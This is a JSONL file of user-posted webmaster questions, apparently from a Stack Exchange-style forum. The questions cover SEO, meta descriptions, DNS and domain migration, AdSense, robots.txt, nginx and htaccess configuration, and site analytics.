{"id":"67258","title":"OK to have partly duplicate meta description and title","text":"On my homepage, I am planning on using the following meta description. > Premiere American Ninja Warrior website for fans and competitors. Train for > ninja warrior, find obstacle blueprints, and info on the show. On the other pages of my website I am planning on using a meta description with the following format > Premiere American Ninja Warrior website for fans and competitors. _brief > description of that page_ In this manner, I have a partially duplicate meta description. The first sentence is a brief overview of my site to generate Click Through s and is present on all meta descriptions, while the second sentence serves as a more specific description of that individual page. Is it OK to have a partially duplicate meta description like in that example? **Update - Extension Question** Does the same thing apply to the title tag. If I have a bunch of pages about Ninja Warrior Competitors, would it be OK to have these title tags? > James Mcgrath - American Ninja Warrior Competitor > Paul Kasemir - American Ninja Warrior Competitor > Chris Wilczewski - American Ninja Warrior Competitor > and so on..."}
{"id":"39541","title":"text to code ratio and SEO","text":"I've run sites that I've developed through various online SEO checkers over the years and some of them have checked me for my text to html ratio. I remember reading about this once or twice as well. I have to ask if there is any definitive proof of SEO penalties by, say, Google, when you have done your due diligence with alt\/title attributes, schema.org, Facebook's Open Graph, etc, or when you are forced into one of those \"div within a div within a div\" designs where you end up with a LOT of code? **UPDATE** I guess I wasn't clear enough in my question. I understand fully that your page should be useful and meaningful to your end user and not Google. When you have marked up your code so that your page has semantic meaning to Google(as you should!), your code ratio just keeps getting bigger and bigger. My question was if there is definitive proof that Google penalizes your page if the code outweighs the content by a certain percentage. Is this true or some sort of SEO urban legend?"}
{"id":"48000","title":"Transfer websites and domains to new server","text":"We have currently around 40 websites and 80+ domains\/sub-domains in a shared 1&1 hosting package, and we just acquired a managed dedicated server with 1&1 as well. Now it's time to start transferring everything over to the new server. Transferring just the websites and databases wouldn't be a problem, it would take time but it's pretty straight forward. The problem comes when transferring the domains, let me explain why. Many of the websites we have are accessible via sub-domains of a parent domain. Ideally, we would like to transfer the sites one by one, in order to check for each one that everything works fine in the new server. However, since we also need to transfer the domain so it's managed in the new server, once we do that means that all the websites using that domain need to be already in the new server before transferring that domain, thus not allowing the \"one by one\" philosophy. Another issue is the downtime when transferring the domain, from the moment it stops working in the hosting package and becomes active in the new server. I believe there's nothing we can do here. So my question is if there's any way we can do the \"one by one\" transferring of the websites (and their corresponding sub-domains) in the circumstances described above. One idea I had would be: 1. Let's say we have website A, which is accessible using subdomain.mydomain.com (and there are many other websites accessible via other sub-domains of mydomain.com) 2. Transfer the files of website A to the new server 3. Point a test domain in the new server to the website A's folder (the new server comes with a \"test\" domain) 4. Test if website A works with that \"test\" domain 5. In the old hosting, somehow point the real sub-domain (subdomain.mydomain.com) to the new location of website A, in a way that user always see the same URL as always 6. Repeat 2-5 for every website belonging to the same domain 7. Once all are working in the new server, do the actual transfer of the domain to the new server, and then re-create all the sub-domains and point them to their corresponding website That way, users wouldn't notice that there's been a change (except for a small down time of the websites when doing the domain transfer). The part I'm not sure about is point 5 of the above. Is there any way to do that? I mean do it in a way that users see the original domain all the time in their browser, even for internal pages (so not only for the \"home page\", which would be sub-domain.mydomain.com, but also for example for the contact page, which would be sub-domain.mydomain.com\/contact.php). Is there any way to do this? Or are we SOL and we're going to have to transfer all at the same time?"}
{"id":"42389","title":"Will get good traffic from Google if I pull content via RSS feeds?","text":"Now-a-days, There are many plugins available in Wordpress to perform Auto Post \/ blogging. I know it grabs content from RSS feeds and posts it to our blog. Some of the Premium plugin will grabs full content from other sites and post it to our blog. But, I do not know how the Google search engine treats such blogs (copied content.) Will it give good traffic to such blogs? Will it give copyright related issues? Any suggestions and ideas for the above points?"}
{"id":"31711","title":"How to throttle email server wide on a shared server?","text":"I have multiple programs that send email on a shared server with a relatively low email limit. These programs are completely separate and can each individually throttle mail but cannot do so in relation to the others. Currently, whenever the hourly limit is reached, our host just starts dropping the emails. They say they have no way to change this behavior and basically suggested that I ask around. Does anyone know of any programs that will throttle email server wide on a shared server?"}
{"id":"26985","title":"Is it okay to have no A records for a domain?","text":"There is one domain I'm using for email only. MX records are set up and everything works. The A records for `@` and `www` are pointing to a machine, which just redirects to `google.com`. I am now wondering if I could just delete the A records for `@` and `www`. Are there any consequences except that the domain wouldn't be available via a browser if I do so?"}
{"id":"57400","title":"Trying to register website with Google AdSense but Ads won't display","text":"So I've been waiting 8 days now for Google to verify my domain, I'm on their 2 step process. > Welcome to AdSense Your account is just one step away from being fully > activated. Click the button below and you'll be guided through these last > actions on your end: You've successfully created an ad unit Place the ad > code on. The \"You've successfully created an ad unit\" has a tick by it, but \"Place the ad code on http:\/\/mywebsite.co.uk\" has no tick. I've added my code to my live site on the home page and other pages, I can see the iframes being loaded but not ads. I still have the big red warning bar that my site is still under review but I assumed it only gets reviewed once it has detected the ad code on my page, which it hasn't at the moment. I'm also getting > Our crawler was unable to access your page to determine its content and > display relevant ads. When our crawler can’t access the content, often we > won’t show ads resulting in lower revenue and coverage. Other times, we’ll > show ads that are irrelevant resulting in lower CTR. Follow the links in the > ‘How to fix.’ column to correct these errors and improve AdSense > performance. And my `robots.txt`: User-agent: * Disallow: \/wp-admin\/ Disallow: \/wp-includes\/ Sitemap: http:\/\/example.com\/sitemap.xml.gz"}
{"id":"26981","title":"Impact of having an international domain?","text":"I'm looking to get an .es domain. Just wondering how this might impact search results and rankings as I'd like to make the website available worldwide."}
{"id":"48004","title":"How can I get access logs from TMG? (e.g,. GET method requests)","text":"I'm using QRadar as a SIEM solution. I want to integrate TMG logs so that I can obtain\/search GET requests with specific extensions (e.g., `.jpg`, `.html`, `.php`). I know in Apache you can get this through web access logs."}
{"id":"18751","title":"Set up development site on another server\/host","text":"I'm developing a site for a client. They've got a site now that's hosted at hosting.com. I'm going to move them to my VM hosting solution at edge web but I want to run some tests and have the client approve the site before changing the name servers to the new site\/hosting location. How do I make this happen? I'm running a red hat\/Apache on linux for the edge web hosting. I don't have control of the domain name (i.e. the client controls that right now). Edgeweb has set up a dns zone for the domain name so that when the time comes to switch we're ready to go. I'm a web developer and I understand the technologies that make a user experience 'work' but I'm unfamiliar with the server jargon and all that so, please be patient. Thanks in advance."}
{"id":"29616","title":"How do you add a Opera thumbnail for your site?","text":"I noticed that in the \"Speed Dial\" feature of Opera, some sites will display their logo as preview image, while other sites just a screenshot of how the site looks when you add it to speed dial. I don't know for sure but I think Chrome has the same behavior. Stackoverflow for example has the logo :D So how do I make my site display the logo when users add it inside speed dial?"}
{"id":"18754","title":"False positives when testing IE6 in virtual machines","text":"I'm a tester for a small organization that creates web applications supporting the full gamut of IE versions. One of my jobs is to ensure that the application works well in Microsoft Internet Explorer 6. To do this, I have a range of virtual machines and the IE6 testing suite. The problem is, none of these environments seems 100% reliable. My virtual machines (VirtualPC and VirtualBox) have both thrown me errors that the developer team can't replicate - even when testing native installations. We've had particular problem when developing for a client of ours who use IE6 exclusively. During field testing, we found our javascript-heavy functionality could throw up bugs in virtual machines which did not appear in real life. IETester can also throw false positives, especially with javascript. Whilst I have never seen any false _negatives_ , this has still caused us many headaches and wasted a lot of time on bugs that don't really exist. My question is this: **does anyone know if any particular virtualization environment achieves perfect IE6 'emulation', or do I have no choice except to hunt down an old WinXP IE6 box? Has anyone else experienced similar difficulties - if so, how did you work around them?**"}
{"id":"37651","title":"Hide from google while developing","text":"I will be building a (wordpress) web site. While I am developing, other team members will be pushing content. I'd like to have it hidden from google while under development. It will be hosted on godaddy. I have thought of not pointing the domain name to it until live and using \"preview dns\", or buying a static IP during development. Or hosting dev site in a sub-directory (\"\/dev\/\") until ready and then moving it up a level. If in the dev directory I'd add htaccess or robots.txt to not crawl. Is any of this a bad idea? Will google penalize for any of this - like search by IP and then associate that with the domain later on? Any better ideas?"}
{"id":"18758","title":"Where should the robots.txt file be?","text":"If I have a subdomain: subdir.a.com that redirects to a.com\/myfolder\/ should the robots.txt file be in: subdir.a.com\/robots.txt or in a.com\/myfolder\/robots.txt"}
{"id":"59772","title":"Nginx 301 redirects folders appending a slash","text":"Nginx is currently doing the following: > example.com\/folder 301 redirect to: > example.com\/folder\/ How can I prevent it from doing this? Thanks. Edit: Added Nginx configuration ` server { server_name www.example.com; listen *:80; listen [::]:80 ipv6only=on; return 301 http:\/\/example.com$request_uri; } server { server_name example.com; listen _:80; listen [::]:80; root \/home\/usr\/www; index index.htm; location ~_ .(js|css|png|jpg|jpeg|gif|ico)$ { expires max; log_not_found off; } } `"}
{"id":"33578","title":"Why won't Webmaster Tools let me set a preferred domain? (says to verify, but it should already be)","text":"I've got a domain that I apparently forgot to set a preferred domain for, so I just tried to do it. Webmaster Tools instead popped up a little box: > Part of the process of setting a preferred domain is to verify that you own > `http:\/\/www.example.com\/`. Please verify `http:\/\/www.example.com\/`. I'm running into some problems following these instructions: 1. As far as I can tell I already did verify sometime in the past. There's a TXT DNS record with the gibberish Google tells you to set for it that I couldn't have come up with myself. 2. …and nothing is telling me this information is bad. 3. So let's assume the site is somehow _not_ actually verified. All the various methods' instructions start with \"click the Manage Site button next to the site you want, and then click Verify this site.\" That button doesn't even exist on my screens. (It presumably goes away when you successfully verify?) Those instructions were all updated pretty recently, and the DNS one in particular just a couple weeks ago so it seems a bit unlikely they're inaccurate. 4. I am not using Apps, and won't be, so can't try out the verification through there. Note that I also have another domain that I have _not_ done any verification for which is showing the same behavior(no such button, being told to verify when it seems impossible etc.) so something appears to just be broken. I already have a no-www process in place server-side, so we can skip that. I'm just trying to get the box checked off in GWT. If I don't get any resolution, I'll eventually scrap the TXT record and see if the site gets un-verified(or whatever since it thinks it isn't), and see if I can just restart the process. It's not urgent so I'm just trying to figure out if I've gone blind to something or what. Did the button move?"}
{"id":"12272","title":"Joomla Wrapper with auto height to display the content without frame's scrollbar","text":"Is it possible to display the content of other website in my Joomla page (using the \"Wrapper\" menu item type) with autodetection of its height? I don't know the exact height of the embedded dynamic page in pixels, but I want to display it without vertical scrollbar inside of my frame. Joomla 1.5.22"}
{"id":"12862","title":"amazon associates: how well does it perform","text":"I'm thinking about adding some amazon associates affiliate links to one of my sites, and I'm wondering if anyone who has any experience with them can tell me how well they perform on their site. Also, amazon associates offers several advertising widgets: can anyone tell me which one performs the best (brings in the most revenue)? Thank you very much :)"}
{"id":"30003","title":"Using a company for Google authorship?","text":"Can you use a company's page as the author for google authorship or does it have to be an actual persons google + account for it to work ? I.e. could i have it showing in search results as \"-by acme co\" rather than \"-by simon smith \""}
{"id":"12866","title":"How do I change the default email that my host sends from php mail from in Justhost's C-panel","text":"I'm trying to work with sending mail through PHP for the first time and I've done pretty well with the exception of one thing. All mail i send is from an email address that ends in \"justhost.com\" (justhost is hosting my site). I was wondering is anyone could help me change this to a different email address. P.S. Here is the php I'm using to send things from: $to = \"example@email.com\"; $subject = \"Mail Test at \".strftime(\"%T\", time()); $message = \"This is a test.\"; $from = \"Mike <mike@mysitename.com>\"; $headers = \"From: {$from}\\r\\n\"; $result = mail($to, $subject, $message, $header); echo $result ? 'Sent' : 'Error'; (sorry about the spacing I'm not sure how to fix it)"}
{"id":"8069","title":"How do people buy Domain Names?","text":"GoDaddy charges $8 for a domain and name.com charges $10. Some people seem to buy many domains to increase their SEO or to sell them later for more money than they paid. Do these people pay less per domain because they buy in bulk or are they doing something else to pay less for their domains? It seems like it is expensive to buy that many domains just for SEO or to resell."}
{"id":"12869","title":"Google Adsense \/ Gambling workaround","text":"I've run a website since 2001 with betting sites adverts for most of that time and Google Adsense for many years as well. Five or six years ago I was generating £100-£200 per month from Google, but this has fallen by over 90% subsequently - people don't click them, basically! So the following isn't a disaster. Anyway, on 18 April I got an email giving me 72 hours to remove all betting adverts and betting related content or Google Adsense would be disabled from the site: > VIOLATION(S) FOUND: > > GAMBLING: As stated in our program policies, AdSense publishers are not > permitted to place Google ads on sites with content related to gambling or > casinos. This policy includes driving traffic to online gambling sites > through links or advertisements. More information about this policy can be > found in our help center Their 'review' of websites seems to be a direct result of the FBI action on 15 April, so advertising and content that I've had (and submitted to Google Search) is no longer acceptable after several years with no complaints. **Does anyone have a constructive workaround that may satisfy Google without affecting my long-standing advertising policy?**"}
{"id":"8062","title":"What design\/feature aspects assist in visitor conversion rates?","text":"Web design being around for so long, I would imagine we have some rules or guidelines regarding this topic. When a user visits your website for the first time, what particulars have been shown to take that visitor and transform them into a member\/customer? There must be some proven methods of doing things -- something that shows a big cartoony graphic isn't the best way to do conversion (or maybe it is). Off the top of my head, I'm thinking of things like, login box in a clear spot, simple graphics, showing the product, etc... In my own searching I just keep hitting websites that talk about UI design of registration forms themselves."}
{"id":"8063","title":"Explanation of ARTICLE tag","text":"In explanation of tag W3SCHOOL : > The tag defines external content. What's the meaning of **external content** exactly ? It's mean _quoted (from somewhere) text_ ?"}
{"id":"7396","title":"How do bounce rate and page views change Alexa rankings?","text":"My site has 30,000 visits with 86,000 page views. If the bounce rate of 54%, then does it means only 15,000 users generated the 86,000 page views or 30,000 visits generated the 86,000 page views. My website is www.cricandcric.com Even though I have got 86,000 page views, my site's Alexa ranking is still getting worse day by day. How do I control that?"}
{"id":"59456","title":"How are visits, pageviews, and bounce rate related in Alexa's stats reporting?","text":"My site has 40,000 visits with 76,000 pageviews. If there is a bounce rate of 44%, then does it mean that only 15,000 users generated the 67,000 page views or that 50,000 visits generated the 78,000 page views. My site's Alexa ranking is still getting worse day by day. When I started to do SEO for my site, it was at 13,000 but it is now at 23,000. I am highly disappointment about my Alexa Ranking. It's keep on increasing day by day. I drove 10K+ traffic everyday to my website from different sources such as Search Engines, Social Media and other quality referral's. Can any one suggest how to control that?"}
{"id":"57910","title":"I got a lot of indexed soft 404 pages they actually don’t exist","text":"I just saw in my WMT that I have a lot of indexed soft 404 pages. They all starts with `mysite.com\/index.php\/somepage.`. The problem is that I don't have not a single page starts with `index.php`. Can someone explain me: 1. Why is those soft 404 pages generated at all when I don't have `index.php` part on my site? 2. Now the thing that worries me is that I have for example 700 soft 404 pages, and after some time I have 300 and I didn't change anything. 3. Are they harmful for my site? 4. Can this be fixed in using some rewrite rule in Apache to prevent them for been indexed at all?"}
{"id":"2043","title":"Identify \"non-secure\" content IE warns about","text":"As many know, if you serve a page over https and the content loads resources (images, stylesheets, js, SWF objects, etc) over http, older versions of Internet Explorer will show the user a warning saying \"This page contains both secure and non-secure items\". This is discomforting to many non-technical users. Usually, I can look at the HTML source and identify which item(s) are triggering this error. Sometimes a Flash object will load something else or some embedded javascript will put a new object in the DOM and trigger this. What tools are good for quickly tracking down the source of the warning?"}
{"id":"13107","title":"Firefox reports HTTPS page to contain non-secure elements","text":"When I visit our web site pages with IE over HTTPS, it reports the web site as protected (i.e. no elements are taken using HTTP). The same page, when loaded to Firefox, causes Firefox to complain that some elements are non-secure. I checked the source code of the page and the list of resources of the page (Firefox displays the list of resources) - there are no http resources, only HTTPS ones are listed. The question is - how do I diagnose, what resources (images or CSS or JavaScript) are loaded using HTTP and not HTTPS? I assume that some plugin is needed. Firebug doesn't have anything helpful, as it seems. Update: The mystery has been discovered. Under certain [rare] combination of conditions Facebook instead of providing a PNG image of the page statistics (embedded into the page) reports the error (some HTML via Javascript). As the original resource is a PNG, Firefox simply doesn't display that PNG, but seems to execute the javascript code, sent by Facebook. Obviously, this JavaScript could not be easily tracked as it was not being displayed or even mentioned anywhere (except maybe deep in the DOM inspector). Changing the conditions eliminated the erroneous javascript. However, the question regarding the tool that would help discover such \"hidden\" code and other resources remains actual."}
{"id":"29736","title":"How do I register two-letter domain names for URL shortening?","text":"Some websites - mainly for URL shortening - have short domain names. Now my question is: how can I register two-letter domain names like `aa.com` or `bb.in`?"}
{"id":"7488","title":"Space in img:s \"ALT\" attribute good\/bad for search engines?","text":"I am trying to make it easier for search engines to crawl my website, as it is almost 100% dynamic. I have a couple of transparent images which are actually links to sections of my page. I wonder, if I add an \"alt\" attribute containing space characters to explain the target, will this improve SE rankings etc? For example: <img src=\"blabla.png\" alt=\"post new classified\"> Or will this just result in errors? Ànd, what should I put in the alt attribute if I can't use space? PS: Another different and short question, will javascript-rich content make a page less important to crawlers? Thanks"}
{"id":"68305","title":"How to smartly optimize ads on website","text":"I've a content website that presents ads. Now, my team want to optimize it for a better experience for the users. (we really believe our ads are good for our users.) We are sure that every website deals with this issue and there must be some known ways and methods to deal with it, that smart people thought of before. so what i'm looking is a tested, working method to optimize ads. for example: * if i was asking about optimizing my website in Google, I would expect you to answer me: learn SEO * if i was asking about optimizing the use of my website: usability testing. * navigation: information architecture what is the field that deals with optimizing ads?"}
{"id":"44968","title":"Duplicate meta descriptions after Permalink change","text":"I recently changed my permalink structure on Wordpress to remove the year and month from the URL. **Old structure** - http:\/\/www.thecheckeredflag.co.uk\/2012\/10\/mtech-lite- retain-barc-regulars-for-winter-series\/ **New structure** - http:\/\/www.thecheckeredflag.co.uk\/mtech-lite-retain-barc- regulars-for-winter-series\/ I have a canonical that has the new structure in the URL but google Webmaster tool is flagging up duplicate meta descriptions and title tags. Currently it is telling me that I have 9000+ duplicates but obviously the pages are the same thing and there is only one instance of this. Should I worry about this or is this something that will naturally correct itself over time?"}
{"id":"25942","title":"Finding out the shared hosting providers located in a particular data center","text":"I know the physical location of data-centers that I want my website hosted in. One of these is located on **350 E Cermack in Chicago, IL**. My problem is that I am looking for all the providers of low-cost shared hosting in this data center. Do you have a list? And if you do have such a list can you please tell me how you came up with it? I know many discount hosting providers are physically located in the Arizona- Utah areas. But I am located near Chicago."}
{"id":"50335","title":"Google Rich Snippets read, but not recognized","text":"I put data on my page, required to make Google Rich Snippets. Page URL (for example) is view-source:http:\/\/vitocars.net\/part\/100225305. In Google Structure Data testing tool I can see this screen:  So, the price and availability is recognized, but anyway, not working. Can anybody give advice to me, where to look?"}
{"id":"44966","title":"90% sudden drop in search engine ranking with no changes made","text":"This is a recurring topic, but I am very very panicking right now... I noticed a 90% \"impressions\" drop (from 60k to 5k) from **2013-03-05** to **2013-03-06**. My keywords dropped, and for a few of them I don't even appear in the first 25 search results pages that I checked. This happened in just 24 hours, **without** me making absolutely **any** change on the website. I'm really panicking now, I never did any black-hat SEO, I always followed Google \"rules\", and see where it leads me :( I believe I'm providing a good quality website, at least my members thank me for it, this means it should be good enough. I'm doing everything I can to provide quality. I really don't know what else to do apart from paying someone thousands of euros to help me with SEO. Does someone have any idea about that scary drop? I would love to follow each and every possible lead one could give me. Thank you in advance,"}
{"id":"26677","title":"Having trouble understanding my domain's DNS records","text":"When I view my domain's DNS records via WHM, I don't see any A records pointing to my server's public IP address. The only A records I see point to 10.x.x.x, which is a private IP address, correct? If this is the case, what gives? I'm just trying to develop an understanding of exactly how requests find their way to my server and I'm completely baffled by the DNS records I'm seeing. I would appreciate any help you can offer! Thank you. **Edit #1:** The following is what my domain's zone file looks like in WHM: mydomain.com. 86400 IN SOA ns1.host.com. alerts.host.com. ( 2012022403 86400 7200 3600000 86400 ) mydomain.com. 86400 IN NS ns1.host.com. mydomain.com. 86400 IN NS ns2.host.com. mydomain.com. 14400 IN A 10.10.17.37 localhost 14400 IN A 127.0.0.1 mydomain.com. 14400 IN MX 0 mydomain.com. mail 14400 IN CNAME mydomain.com. www 14400 IN CNAME mydomain.com. ftp 14400 IN CNAME mydomain.com. **Edit #2** whois mydomain.com says that the registrar has published the same nameservers listed in my zone file. dig @8.8.8.8 mydomain.com returns this: <<>> DiG 9.3.6-P1-RedHat-9.3.6-16.P1.el5_7.1 <<>> @8.8.8.8 mydomain.com (1 server found) global options: printcmd Got answer: ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 1534 flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0 QUESTION SECTION: mydomain.com. IN A ANSWER SECTION: mydomain.com. 14400 IN A 10.10.17.37 Query time: 66 msec SERVER: 8.8.8.8#53(8.8.8.8) WHEN: Fri Mar 2 21:11:28 2012 MSG SIZE rcvd: 59 **Edit #3** I am connecting to the server from outside its local network. Also, access logs show visitors are reaching the website without any trouble. I'm not sure what the difference is, but I used the tool located here: centralops.net\/co\/DomainDossier.aspx and it reported different DNS records. It showed a record pointing my domain to my public IP address. I'm thoroughly confused! **Edit #4** After further examination of the Domain Dossier output, it shows a zone file serial number different from the one appearing in my WHM. The serial number in my WHM is 2012022403 while the serial number reported by Domain Dossier is 2012022402. Edit: Actually, it probably makes more sense that WHM isn't showing the serial number that is saved, but the saved serial number + 1 so the next time you make changes you won't have to increase the number yourself. If this is the case, then the serial numbers do match. However, Google's DNS servers are seeing one thing, and the DNS servers that Domain Dossier uses are seeing another. I'm not sure if this means anything, but the in the DNS records reported by Domain Dossier, it shows the correct nameservers, but they're in a different order. My WHM has ns1 listed first in the zone file, but this report shows ns2 listed first. Could be nothing, but it seems strange. **Edit #5** Slightly embarrassing, but I managed to figure out what is going on. My web host translates the private IPs to the public IPs when updating their nameserver. I still learned a lot from trying to figure this thing out! Thanks for your help, Charlie. I appreciate it. I'll be sure to vote up your answer once I get the reputation required to do so!"}
{"id":"28068","title":"Is there a class or id that will cause an ad to be blocked by most major adblockers?","text":"Is there a general class or ID for a html element that a high majority of popular adblockers will block on a website it has no information for. My intention is to have my advertisement blocked, avoiding automatic blocking is easy enough... I was thinking of maybe lending some ids or classes from big advertisment companies that area already being fought off quite actively. right now my html <ul id=partners> <li class=advertisment><a href=# class=sponsor><img class=banner><\/a><\/li> <\/ul> Will this work or is there a more solid approach?"}
{"id":"23005","title":"What's the best way to determine users' preferred language?","text":"In determining which language to display content in by default, there are, as far as I know, three basic methods: 1. Examine the Accept headers sent by the browser. 2. Use IP geolocation to determine the user's location and guess an appropriate language. 3. Force the user to explicitly select a language, as exemplified by Wikipedia. It seems to me that option 1 is far more reliable, as the default headers sent by the browser are the same as the OS's interface language, which will normally be a language the user understands. On the other hand, geolocation doesn't reveal anything about an individual user's preferences; it only reveals what the majority in a location prefer and has a tendency to annoy and\/or confuse people who may be traveling (how come Facebook suddenly changed to Korean?). For these reasons, it would seem obvious that all the major sites would be using option 1. However, my experience as an English speaker living in Korea shows that the major sites (such as anything by Google, Facebook, Skype, etc) all use option 2. Why? If I create a multilingual site, should I risk annoying users such as myself and choose option 2, as well? **EDIT:** As for option 3, I think there's a good reason why most sites don't follow Wikipedia: It's a terrible way, because it forces the user to configure something that the site should figure out. Many people in the answers and comments have mentioned making it easy to change the language. I agree that it's important, but I think it's a bit off- topic unless you're recommending option 3, because this question is about choosing the default language. **EDIT 2:** I'm especially interested in the reasons why many sites do things the way they do. Option 2 seems incredibly obvious to me, but I assume that the major sites that have chosen option 1 must have _some_ sort of reason for their choice."}
{"id":"62967","title":"Google reducing indexed page count","text":"Our website has more than 6,000,000 pages, all of them were generated using my software (those were keyword replaced pages), but all of them are actual pages. Google indexed most of those pages and we are happy, but recently, the past two weeks, Google reducing the indexed page count, now its about 2,000,000. Is there any Google new update in that last couple of weeks is there any work around for this to get our pages index? Update No page error. no server down, DNS is fine, wat else pretty much everything is fine. apart from qualify of content as some is duplicate."}
{"id":"28061","title":"htaccess preventing sqlite database being downloaded","text":"I have a VPS, running apache2 on Debian 6. Created a file called .htaccess on the web root, which included: <Files ~ \"\\.db$\"> Order allow,deny Deny from all <\/Files> <FilesMatch \"\\.db$\"> Deny from all <\/FilesMatch> Can still manually download the database.db file that exists in the same directory as the .htaccess file. Restarted Apache2, same. What gives?"}
{"id":"28063","title":"Migrating Ruby on Rails website to new server (Linux)","text":"I have an existing website that is a Ruby on Rails project. I have another server I need to transfer the existing website too. The server I wish to transfer too was originally hosting the website so has the necessary gems\/configuration are installed. I have tar the current releases shared dir from the old server and transfered them over to the new server. I have then unpack the tar in the apps directory to the new location which is a different URL path. My problem is now as you can see below that the path on the current -> is pointing to the old URL. (I ran `ls -la` to see ownership). How can I change this current path to read with my new web address? Current releases shared sitepack.tar. root@server1: `\/var\/www\/clients\/client1\/NEWSITE.com\/web\/apps# ls -la` Current -> `\/var\/www\/OLDSITE.com\/web\/apps\/releases\/20120130171636` root@server1: `\/var\/www\/clients\/client1\/NEWSITE.com\/web\/apps#`"}
{"id":"17650","title":"Google finding irrelevant keywords on my pages?","text":"I have a dynamic site with thousands of pages (database driven). Every page has a log in link up in the header. Not so unusual. All of my pages have a title which is an H2 (I am changing it to H1 soon). According to Google Webmaster Tools, \"log\" is the most relevant keyword on my site. How can I prevent this from happening? Surely I'm not the only website with the words \"log in\" in their header, appearing on every page."}
{"id":"22358","title":"Does having a website inside a frame (<frameset>) helps or affect search engine rankings?","text":"I have been working to promote my website from long time but not getting such traffic as work I have done on that. My website is running online with another domain using framset so is it somewhere affecting on search index & ranking. My parent website is http:\/\/www.battle cancer.com and using <frameset frameborder=0 framespacing=0 border=0 rows=\"100%,*\"noresize> <frame name=\"frame\" src=\"http:\/\/www.battle-cancer.com\" noresize><\/frameset> It running online with the http:\/\/www.elimaysupplements.com\/."}
{"id":"23475","title":"Pre-defining tabular structures in MediaWiki","text":"I have installed a fresh MediaWiki. I want to fill it with articles that will contain free text, and tabular information in the right hand column, like Wikipedia does:  I want to pre-define templates for this information, and I'm a little lost on how and where to get started. I know how to create templates, I'm just not sure where to build these kinds of tables and define parameters that then get filled in in the actual page. This must be some sort of Wikipedia standard as almost every one of their pages has something like this, but I'm stumped as to how to use it in my own Wiki. The default formatting guides are of no help, of course; I think I need to delve into advanced templates, but fail to find the right resources to start with. Could somebody provide me with a few pointers to start with? The correct term for this or a manual link would already be enough."}
{"id":"48910","title":"Why does Google index pages of my blog in seconds, while pages on the rest of the website take longer to get indexed","text":"I have a questions and answers website in Portuguese about a specific subject. My Q&A website also have a blog, on a sub-directory like `www.site.com\/articles`. I had not written on the blog for almost a year, and a few days ago, I wrote a new article, and for my surprise it got indexed by Google in less than a minute. After this, I continued writing new articles. And they are always indexed in less than a minute. It's amazing. * * * By the other hand, the home page of the website, where the new questions added by the users are shown, was last indexed by Google on May, 17. I would appreciate your opinions about why does Google is indexing in seconds the blog, and not behaving on the same way for the home page and questions published by the users. Another point to consider, is that due to a problem with the server, before yesterday, the full website went off for over 5 hours and I didn't notice it. After solving the problem, I wrote a new article to test Google, and for my surprise again it was indexd again in less than one second. So, It's really crazy and good this behaving of Google."}
{"id":"26517","title":"Securing Access to Server","text":"We have servers at an ISP and a firewall in place. At our main office, we have a VPN. For an added layer of security, I'm thinking a good model may be to have developers connect to the corporate VPN and then only allow traffic in to the servers through the firewall from the VPN's IP. My questions: 1) Does this sound like a sound method for connection? 2) What is the best method for validating user at VPN? I've used a cryptocard in a previous environment, but I'm not real familiar with the technology or competitors. Thanks, D"}
{"id":"3734","title":"When is it time to make a \"micro\"-site for long-tail search content?","text":"Patrick Mackenzie, of Bingo Card Creator fame, uses what I'll call micro-sites to dominate certain keywords. For example, search for \"halloween bingo cards\" and you'll see the first hit is http:\/\/www.halloweenbingocards.net which is a micro-site of a few pages of halloween specific content about bingo cards. If you search for \"bone bingo cards\", you get a link to his main site with one page of content about bingo cards and the human skull. He owns the long tail on basically X + bingo cards, but went all out to build a custom site for the halloween bingo card search (note, the domain name almost guarantees this as a first hit in search results). If you had a bunch of long tail content sites, how would you figure out when it makes sense to pull one out and make it into it's own standalone site at a different url?"}
{"id":"29450","title":"Using addthis on a high traffic website","text":"Would custom social sharing buttons work better than the bulky addthis widget on a highly trafficked website (100mil pageviews\/day)?"}
{"id":"63350","title":"Switching website DNS with minimal downtime","text":"I need to change my domain's DNS, but here in Thailand the ISPs don't follow any standards for renewing their cache of records, so it can take the full two days. I have a new website with about 1,000 members currently who are sending messages and uploading photos. I don't want both sites on the old and new server running at the same time because then I'd have to manually merge the database and transfer uploaded photos. It would be a huge pain. Both servers also a unique URL from my host, e.g. website12345.hostingcompany.com (old host) and website67890.hostingcompany.com (new host). I don't have much experience with this, but I think what I can do is on www.mysite.com, use .htaccess to do a masked redirect to the new server's URL (website67890.hostingcompany.com). Is it possible to do this and keep all URLs being masked? For example, www.mysite.com\/profile\/username will actually be loading website12345.hostingcompany.com\/profile\/username. From Google searches it sounds like this is possible, but I don't understand why this is possible due to security issues, since what's keeping people from masking their site to URLs like facebook.com? I could really use some advice here! Thanks!"}
{"id":"38231","title":"mitigating lost emails when switching provider","text":"We're about to change to Gmail from a web mail provided by our hosting provider, I understand changing the MX records and all. But my main worry was if there would be any emails that would fall through the gaps of the two systems during change over. I'm not familiar with the ins and outs of how the MX record works. Is it like a DNS record change, ie. it needs to propagate? If that's the case would there be a period were its left my current email provider but not switched to the new Gmail account? Thus allowing emails not be delivered or worse, lost?"}
{"id":"38232","title":"Can I register \/ track convertions from my UTM campaigns","text":"I currently got a couple of UTM campaigns setup with all the correct parameters to determine each campaign from another. The converting goal on my homepage is when a visitors creates a user profile. Can I add some analytics code on my converting page \/ globally, that will enable me to see if the user that clicked through my UTM campaign ended up creating the user profile?"}
{"id":"28600","title":"Have SQL reports on separate database than same database that is serving web app?","text":"We use SQL reports in a .NET web application, but some of our reports are heavy and involve more table join and columns. As you know we cannot index all the involved columns (performance problem). These reports impact web application performance. Now we are running reports against the same database that is serving web application. What are some solutions to have reports on a separate database?"}
{"id":"36087","title":"google chrome : http authentication issue on iframe","text":"I have an HTML file with 2 links both links are in an iframe to load the contents inside the iframe. I have two protected directories one on the same server and other on another server. If you click on either link it will popup the login box, same for both links in all browsers except google chorme. google chrome doesn't show login box for the protected folder on another server, how can I fix this ?"}
{"id":"38238","title":"Does Alexa Widget increase Alexa Rank?","text":"I'm not sure about this problem and I found nothing on Alexa.com talking about this problem. Anyone knows exactly that is this true?"}
{"id":"2136","title":"When are accessibility features required?","text":"I've mostly done intranet development and never worried about accessibility features. For a public website, is there certain types of sites or data where specific accessibility features are legally required? Or is it always just my decision based upon my targeted demographic?"}
